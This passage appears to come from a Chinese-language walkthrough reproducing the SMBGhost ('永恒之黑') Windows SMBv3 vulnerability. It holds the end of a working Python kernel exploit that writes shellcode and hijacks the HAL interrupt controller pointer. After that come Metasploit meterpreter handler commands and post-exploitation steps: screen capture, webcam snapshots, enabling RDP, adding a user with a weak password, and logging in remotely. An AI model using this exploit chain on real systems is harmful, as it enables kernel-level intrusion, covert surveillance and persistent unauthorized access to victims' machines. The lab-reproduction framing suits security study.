PHAL_HEAP = struct.unpack("<Q", USER_PAYLOADf[SELFVA_LOWSTUB_OFFSET:SELFVA_LOWSTUB_OFFSET + 8])[0] & 0xFFFFFFFFF0000000
print("[+] base of HAL heap at %lx" % PHAL_HEAP)
return
index += 0x1000
sys.exit("[-] Failed to find low stub in physical memory!")
def do_rce(ip, port):
find_low_stub(ip, port)
find_pml4_selfref(ip, port)
search_hal_heap(ip, port)
build_shellcode()
print("[+] built shellcode!")
pKernelUserSharedPTE = get_pte_va(KUSER_SHARED_DATA)
print("[+] KUSER_SHARED_DATA PTE at %lx" % pKernelUserSharedPTE)
overwrite_pte(ip, port, pKernelUserSharedPTE)
print("[+] KUSER_SHARED_DATA PTE NX bit cleared!")
# TODO: figure out why we can't write the entire shellcode data at once. There is a check before srv2!Srv2DecompressData preventing the call of the function.
to_write = len(KERNEL_SHELLCODE)
write_bytes = 0
while write_bytes < to_write:
write_sz = min([write_unit, to_write - write_bytes])
write_primitive(ip, port, KERNEL_SHELLCODE[write_bytes:write_bytes + write_sz], pshellcodeva + write_bytes)
write_bytes += write_sz
print("[+] Wrote shellcode at %lx!" % pshellcodeva)
input("[+] Press a key to execute shellcode!")
write_primitive(ip, port, struct.pack("<Q", pshellcodeva), PHALP_INTERRUPT + HALP_APIC_REQ_INTERRUPT_OFFSET)
print("[+] overwrote HalpInterruptController pointer, should have execution shortly...")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-ip", help="IP address of target", required=True)
parser.add_argument("-p", "--port", default=445, help="SMB port, \
default: 445", required=False, type=int)
args = parser.parse_args()
do_rce(args.ip, args.port)
3.开启kali监听
从这个步骤开始一起操作
首先开启终端模式,输入命令:msfconsole
依次输入以下命令进行执行:use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 8888
set rhost 192.168.37.137(此处lP地址为win10虚拟机地址)
run
4. 运行exploit.py脚本
我是在我win10的攻击机上运行的脚本
在回到kali上查看
成功之后可以做的事情
1.屏幕截图:
命令:load espia;screengrab
2.抓取摄像头的照片
命令:webcam_snap
3.开启远程桌面
命令:run post/windows/manage/enable_rdp
4.添加用户
命令:run post/windows/manage/enable_rdp USERNAME=abcd PASSWORD=123456
接下来我们演示开启远程桌面和添加用户
5.连接RDP远程控制
目标返回本机,win+t打开控制台,输入mstsc
6.使用刚刚新建立的用户进行连接输入被控制的机器1P地址:192.168.191.168
7.输入第四步中添加的用户名及信息完成登录!达成远程控制目的!
永恒之黑漏洞复现成功